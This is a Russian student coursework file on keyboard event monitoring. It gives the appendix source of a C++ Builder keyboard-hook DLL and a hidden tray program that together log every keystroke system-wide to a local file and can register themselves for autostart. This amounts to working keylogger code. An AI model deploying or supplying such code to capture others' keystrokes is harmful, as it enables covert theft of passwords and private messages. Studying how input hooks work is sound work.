Файл: Мониторинг потока событий (Hooks) (.docx

ВУЗ: Не указан

Категория: Не указан

Дисциплина: Не указана

Добавлен: 07.11.2023

Просмотров: 111

Скачиваний: 5

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.


Одной из важных черт любого программного обеспечения является юзабилити. В качестве расширения, улучшения программы необходимо разработать более эффективный дизайн, более удобную форму журнала с дополнительными функциями, такими как копирования всего журнала или его части.

В ходе выполнения работы получены навыки разработки системных программ для администрирования, работы с треем операционной системы, создания dll библиотек, разработки сборного проекта.

Список использованных источников




1. Дейтел, Х.М. Как программировать на С++ / Х.М. Дейтел, П. Дж. Дейтел; пер. с англ. – 3-е изд. – М.: Бином, 2001.

2. Страуструп, Б. Язык программирования С++ / Б. Страуструп; пер. с англ. – 3-е спец. Изд. – М.: Бином, 2002.

3. Луцик, Ю.А. Объектно-ориентированное программирования на языке С++ / Ю.А. Луцик, А.М. Ковальчук, И.В. Лукьянова. – Минск: БГУИР, 2003.

4. Скляров, В.А. Язык С++ и объектно-ориентированное программирование: справ. Пособие / В.А. Скляров. – Минск: Вышэйш. Школа, 1997.

5. Гамма, Э. Приемы объектно-ориентированного проектирования. Паттерны проектирования / Э. Гамма, Р. Хелм, Р. Джонсон. – Пер. с англ. – СПб.: Питер, 2007.

6. Borland C++ Builder 6 руководство разработчика [Электронный ресурс]. – 2020. – Режим доступа: http://www.cyberforum.ru/cpp-builder/ thread825173.html – Дата доступа: 20.05.2023.

7. Функция CreateFile [Электронный ресурс]. – 2020. – Режим доступа: http://vsokovikov. narod. ru/ New_MSDN_API/ Menage_files/ fn_createfile.htm – Дата доступа: 20.05.2023.

8. Функция DeviceIoControl [Электронный ресурс]. – 2020. – Режим доступа: http://vsokovikov.narod.ru/ New_MSDN_API/ Device_io/ fn_ deviceiocontrol.htm – Дата доступа: 20.05.2023.


Приложение А. Код dll-библиотеки




Файл UnitDll.cpp
//--------------------------------------------------------------
#include

#include

#pragma hdrstop
#pragma argsused
BOOL kdown=false;

HANDLE ghDLLInst = 0; // Handle to the DLL's instance.

char logname[MAX_PATH];

char sysdir[MAX_PATH];

DWORD NOfBytes;

BOOL shift=false;

HANDLE LFile;

char buffer[20];

char sout[50];
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)

{

ghDLLInst = hinst;
switch (reason)

{

case DLL_PROCESS_ATTACH:

{

GetSystemDirectory(

sysdir,

MAX_PATH

);

strcpy(logname, "d:\\log.txt");

}

case DLL_PROCESS_DETACH:

{

}

default:

break;

}
return 1;

}

//-------------------------------------------------------------
// wParam - virtual-key code

// lParam - keystroke-message information
void save (void)

{
strcat (sout,"\n");
LFile=CreateFile(

logname,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,

NULL,OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL,

NULL);
OVERLAPPED ovlp;

DWORD ffsze=GetFileSize (LFile,NULL);

ovlp.OffsetHigh=0;

ovlp.hEvent=NULL;

ovlp.Offset=ffsze;
WriteFile (LFile,sout,strlen(sout),&NOfBytes,&ovlp);
CloseHandle(LFile);

};
extern "C" _declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)

{

BYTE aa[4];

BYTE ww[4];
memcpy(aa,&lParam,4);

kdown=!(aa[3] && 64);
BYTE scancode=aa[2];
memcpy(ww,&wParam,4);
if (code<0)

{

return CallNextHookEx(NULL,code,wParam,lParam);

};

char strDate[100]="";

SYSTEMTIME t;

GetSystemTime(&t);

GetDateFormat(0, 0, &t, "ddd MMM dd.MM.yyyy", PChar(strDate), 17);
strcpy (sout,strDate);

strcat (sout," - klavisha: ");
if(kdown && (wParam==VK_SHIFT))

{

strcat (sout,"shift");

save();

shift=true;

return CallNextHookEx(NULL,code,wParam,lParam);

};
if(!kdown&&(wParam==VK_SHIFT))

{

shift=false;

};
if (kdown && (wParam!=VK_SHIFT))

{

BYTE keyarray[256];

if(GetKeyboardState(keyarray))

{

if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))

{
buffer[0]='\0';

};

};
strcat (sout,buffer);
if(isalpha(ww[0])&(!shift))

{

wParam=wParam+32;

};
wsprintf(buffer ,"%c",wParam );
if(wParam==VK_RETURN)

{

strcat(buffer,"Enter");

};
save();

};
return CallNextHookEx(NULL,code,wParam,lParam);

};

Приложение Б. Код основной программы




Файл UnitMain.cpp
//-------------------------------------------------------------
#include

#pragma hdrstop
#include "UnitMain.h"

#include "UnitAbout.h"

#include
//-------------------------------------------------------------

#pragma package(smart_init)

#pragma link "trayicon"

#pragma resource "*.dfm"

TForm1 *Form1;

//-------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//-------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)

{

Memo1->Lines->LoadFromFile("D:\\log.txt");

}

//-------------------------------------------------------------
void __fastcall TForm1::ActionJurnalExecute(TObject *Sender)

{

Form1->Show();

}

//--------------------------------------------------------------
void __fastcall TForm1::ActionOptionsExecute(TObject *Sender)

{

if (Application->MessageBox("Установить в автозагрузку?","Параметры программы",MB_YESNO)==IDYES)

{

TRegistry *reg = new TRegistry();

reg->RootKey=HKEY_CURRENT_USER;

reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);

reg->WriteString("Журнал событий",Application->ExeName);

reg->CloseKey();

};

}

//--------------------------------------------------------------
void __fastcall TForm1::ActionStartExecute(TObject *Sender)

{


// Проверяем удачность загрузки библиотеки

if(dllhook)

{

HOOKPROC hook = (HOOKPROC)GetProcAddress(dllhook, "KeyboardProc");//импортируем процедуру определения нажатой клавиши
if(hook)//проверяем удачность импорта функций

{

hhook = SetWindowsHookEx(WH_KEYBOARD,hook,dllhook,0);//ставим ловушку на события клавиатуры
if (hhook) Start=true;

}

}
ActionStart->Enabled=!Start;

ActionStop->Enabled=Start;

}

//-------------------------------------------------------------
void __fastcall TForm1::ActionAboutExecute(TObject *Sender)

{

FormAbout->ShowModal();

}

//-------------------------------------------------------------
void __fastcall TForm1::ActionStopExecute(TObject *Sender)

{

Start=false;

ActionStart->Enabled=!Start;

ActionStop->Enabled=Start;

UnhookWindowsHookEx(hhook);

}

//-------------------------------------------------------------
void __fastcall TForm1::ActionExitExecute(TObject *Sender)

{

if (Start)

{

ActionStop->Execute();

};
FreeLibrary(dllhook);

Close();

}

//-------------------------------------------------------------
void __fastcall TForm1::TrayIcon1Click(TObject *Sender)

{

POINT pt;

::GetCursorPos(&pt);

PopupMenu1->Popup(pt.x, pt.y);

}

//-------------------------------------------------------------
void __fastcall TForm1::ActionTrayExecute(TObject *Sender)

{
Hide();

}

//-------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)

{

// Делаем форму невидимой при старте

Application->ShowMainForm=false;
// Создаем журнал на диске

FILE* f=fopen("d:\\log.txt","w+");

fclose(f);
// Грузим dll

dllhook = LoadLibrary("ProjectDll.dll");
}

//-------------------------------------------------------------